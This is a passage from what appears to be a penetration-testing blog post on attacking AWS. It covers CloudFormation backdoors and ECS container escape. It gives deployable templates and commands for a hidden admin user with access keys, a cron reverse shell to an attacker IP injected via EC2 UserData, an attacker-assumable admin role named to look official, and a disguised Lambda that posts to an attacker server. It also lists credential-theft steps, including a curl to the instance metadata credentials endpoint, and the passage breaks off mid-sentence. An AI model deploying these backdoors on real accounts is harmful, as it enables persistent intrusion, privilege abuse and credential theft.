class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudformation create-stack --stack-name BackdoorStack --template-body file://backdoor.yaml --capabilities CAPABILITY_NAMED_IAM&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Creates the&lt;/strong&gt; &lt;code&gt;aws-support-bot&lt;/code&gt;** user (which looks like an official AWS service account).**&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Assigns access keys that the attacker can use directly with&lt;/strong&gt; &lt;code&gt;aws_access_key_id&lt;/code&gt;** to log in through the AWS CLI.**&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Attaches the administrator policy&lt;/strong&gt; &lt;code&gt;*:*&lt;/code&gt;&lt;strong&gt;, granting the highest level of access!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0060.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;So where are the keys? They are already defined in the code above and will be stored in Output, neatly solving the problem of not being able to retrieve them when nothing is returned.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0061.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;This example alone is enough to obtain full permissions. The third template, which uses an IAM role, can also obtain full permissions, but I mainly want to discuss the one below—the second method.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="2-inject-a-reverse-shell-into-ec2-userdata"&gt;&lt;a href="#2-inject-a-reverse-shell-into-ec2-userdata" class="header-anchor"&gt;&lt;/a&gt;2. Inject a Reverse Shell into EC2 &lt;code&gt;UserData&lt;/code&gt;&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;An attacker can use CloudFormation to execute malicious commands when an EC2 instance starts—for example, obtaining a reverse shell through the&lt;/strong&gt; &lt;code&gt;UserData&lt;/code&gt;** field:**&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWSTemplateFormatVersion: &amp;#39;2010-09-09&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resources:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; MaliciousEC2:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::EC2::Instance&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ImageId: &amp;#34;ami-12345678&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; InstanceType: &amp;#34;t2.micro&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; UserData:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Fn::Base64: |&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;*/2 * * * * root bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER_IP/PORT 0&amp;gt;&amp;amp;1&amp;#34; &amp;gt;&amp;gt; /etc/crontab&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; systemctl restart cron&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;How to run it&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudformation create-stack --stack-name EC2Backdoor --template-body file://malicious-ec2.yaml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;CloudFormation deploys an EC2 instance and executes the reverse shell from its&lt;/strong&gt; &lt;code&gt;UserData&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;After the EC2 instance starts, it automatically connects to the attacker&amp;rsquo;s server, establishing persistent remote access.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;The purpose here is to run the bash command that follows every two minutes to get a reverse shell. The main point to pay attention to is the ImageId above. It corresponds to an AMI ID, which may sound a little abstract, so I will explain it separately.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0062.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Find the relevant AMI ID. What it needs is a template, but why does it have to be a template? The idea is that it creates and runs a new EC2 instance for you. Since it does not know what kind of instance you want, it needs a template ID. You can think of it as the ID of an image. That ID is fixed: whichever one you choose determines which system it creates and starts. The screenshot above shows many systems, so just choose one of their IDs and enter it. Note that this does not modify an existing EC2 instance. Instead, it selects a system—one of the built-in systems—creates it for you with the defaults, starts it, and then runs the commands written in your template. Our command writes a cron job, so it runs when the machine starts. That is all there is to it. Honestly, it feels a bit half-baked to me, but it does demonstrate just how dangerous CloudFormation permissions can be.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWSTemplateFormatVersion: &amp;#39;2010-09-09&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resources:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; MaliciousEC2:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::EC2::Instance&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ImageId: &amp;#34;ami-0ef0a3b4303b17ec5&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; InstanceType: &amp;#34;t2.micro&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; UserData:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Fn::Base64: |&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;*/2 * * * * root bash -i &amp;gt;&amp;amp; /dev/tcp/192.***.***.***/53 0&amp;gt;&amp;amp;1&amp;#34; &amp;gt;&amp;gt; /etc/crontab&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; systemctl restart cron&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That is my template above, filled in and ready to go.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="3-create-an-iam-role-and-allow-the-attacker-to-assumerole"&gt;&lt;a href="#3-create-an-iam-role-and-allow-the-attacker-to-assumerole" class="header-anchor"&gt;&lt;/a&gt;3. Create an IAM Role and Allow the Attacker to AssumeRole&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;An attacker can create an IAM role and allow themselves to AssumeRole, giving them long-term access to the AWS account:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWSTemplateFormatVersion: &amp;#39;2010-09-09&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resources:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; HiddenIAMRole:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::IAM::Role&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; RoleName: &amp;#34;AWS-Support-Role&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; AssumeRolePolicyDocument:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Version: &amp;#34;2012-10-17&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Statement:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Effect: Allow&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Principal:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; AWS: &amp;#34;ATTACKER_AWS_ACCOUNT_ID&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Action: &amp;#34;sts:AssumeRole&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Policies:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - PolicyName: &amp;#34;HiddenAdminPolicy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; PolicyDocument:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Version: &amp;#34;2012-10-17&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Statement:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; - Effect: Allow&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Action: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Resource: &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;How to run it&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudformation create-stack --stack-name IAMBackdoor --template-body file://hidden-role.yaml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Creates the&lt;/strong&gt; &lt;code&gt;AWS-Support-Role&lt;/code&gt;** role, which looks like an official AWS support account and is less likely to make an administrator suspicious.**&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;The attacker&amp;rsquo;s account can use&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt;** at any time. Even if an administrator deletes the users in the AWS account, the attacker can still access AWS.**&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="4-inject-malicious-code-through-lambda"&gt;&lt;a href="#4-inject-malicious-code-through-lambda" class="header-anchor"&gt;&lt;/a&gt;4. Inject Malicious Code Through Lambda&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;An attacker can use CloudFormation to deploy a malicious Lambda function and execute code inside AWS:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWSTemplateFormatVersion: &amp;#39;2010-09-09&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resources:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; MaliciousLambda:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::Lambda::Function&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; FunctionName: &amp;#34;AWSMonitor&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Runtime: &amp;#34;python3.8&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Role: &amp;#34;arn:aws:iam::123456789012:role/LambdaExecutionRole&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Handler: &amp;#34;index.lambda_handler&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Code:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ZipFile: |&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; import os&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; import subprocess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; def lambda_handler(event, context):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; subprocess.call(&amp;#34;curl -X POST -d &amp;#39;AWS Access Compromised&amp;#39; http://ATTACKER_SERVER&amp;#34;, shell=True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return &amp;#34;Executed&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;How to run it&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudformation create-stack --stack-name LambdaBackdoor --template-body file://malicious-lambda.yaml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Creates the&lt;/strong&gt; &lt;code&gt;AWSMonitor&lt;/code&gt;** Lambda function, disguised as an AWS monitoring tool so that administrators are less likely to notice it.**&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;When Lambda runs, it sends data to the attacker&amp;rsquo;s server, and the attacker can use it to execute remote commands.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;One more point here: the important thing with CloudFormation is knowing how to use it. There is no need to study it obsessively in depth; you could even have AI produce the result. The boto3 library in Lambda is different, though. You need to use it often, it can do a lot of things, and you absolutely have to learn it.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h3 id="ecs-container-escape"&gt;&lt;a href="#ecs-container-escape" class="header-anchor"&gt;&lt;/a&gt;ECS Container Escape&#10;&lt;/h3&gt;&lt;p&gt;ECS is a &lt;strong&gt;container orchestration service&lt;/strong&gt; provided by AWS. You can think of it as &lt;strong&gt;AWS&amp;rsquo;s version of a Docker management platform&lt;/strong&gt;, similar to Kubernetes (though not exactly the same).&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;ECS escape mainly involves two modes:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;ECS on EC2&lt;/strong&gt;: ECS running on EC2, where the attack target is the underlying EC2 instance.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;ECS on Fargate&lt;/strong&gt;: A serverless way to run ECS, where the goal is to escape to other AWS resources (such as IAM, S3, and so on).&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;&lt;strong&gt;Outline&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;1. Privileged container mode (I won&amp;rsquo;t reproduce native docker penetration techniques here, only set up the environment to understand the architecture)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;: Use a &lt;strong&gt;privileged container&lt;/strong&gt; running on ECS to escape to the host&#10;&lt;strong&gt;Attack methods&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;If the task definition enables &lt;code&gt;privileged: true&lt;/code&gt;, you can directly use &lt;code&gt;chroot&lt;/code&gt; to enter the host&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;cap_add: SYS_ADMIN&lt;/code&gt; to access the ECS host&amp;rsquo;s &lt;code&gt;cgroup&lt;/code&gt; or &lt;code&gt;/proc&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Run a &lt;code&gt;--privileged&lt;/code&gt; container to gain root privileges on the ECS host&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;2. Abusing ECS task definitions (key section)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;: Execute malicious commands through a misconfigured ECS task definition&#10;&lt;strong&gt;Attack methods&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Deploy a &lt;strong&gt;malicious image&lt;/strong&gt; (containing a reverse shell)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Add credentials as environment variables&lt;/strong&gt; in the task definition (to steal AWS access keys)&lt;/li&gt;&#10;&lt;li&gt;Mount &lt;code&gt;/var/run/docker.sock&lt;/code&gt; to access the host&amp;rsquo;s Docker API (&lt;strong&gt;Docker API escape&lt;/strong&gt;)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;3. Mount escape (I won&amp;rsquo;t reproduce native docker penetration techniques here)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;: Use &lt;code&gt;--mount type=bind&lt;/code&gt; to access the ECS host&amp;rsquo;s file system&#10;&lt;strong&gt;Attack methods&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Mount &lt;code&gt;/root/.aws/credentials&lt;/code&gt; to access AWS credentials&lt;/li&gt;&#10;&lt;li&gt;Mount the &lt;code&gt;/etc/&lt;/code&gt; directory to obtain sensitive configuration from the ECS host&lt;/li&gt;&#10;&lt;li&gt;Mount &lt;code&gt;/var/lib/docker/&lt;/code&gt; to directly manipulate the Docker file system and access other containers&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;4. API Credential leakage (I&amp;rsquo;ve already studied this, so I won&amp;rsquo;t reproduce it)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;: ECS tasks may contain AWS IAM role credentials, allowing lateral movement through the cloud environment&#10;&lt;strong&gt;Attack methods&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Access the &lt;strong&gt;AWS metadata service&lt;/strong&gt; through an ECS container&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;Obtain the ECS task&amp;rsquo;s IAM Role and use &lt;code&gt;aws configure&lt;/code&gt; to access the AWS API&lt;/li&gt;&#10;&lt;li&gt;Steal AWS access keys and try to access S3, EC2, and DynamoDB&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="privileged-container-escape"&gt;&lt;a href="#privileged-container-escape" class="header-anchor"&gt;&lt;/a&gt;Privileged Container Escape&#10;&lt;/h4&gt;&lt;h5 id="how-it-works"&gt;&lt;a href="#how-it-works" class="header-anchor"&gt;&lt;/a&gt;How It Works&#10;&lt;/h5&gt;&lt;p&gt;Use &lt;strong&gt;privileged mode&lt;/strong&gt; 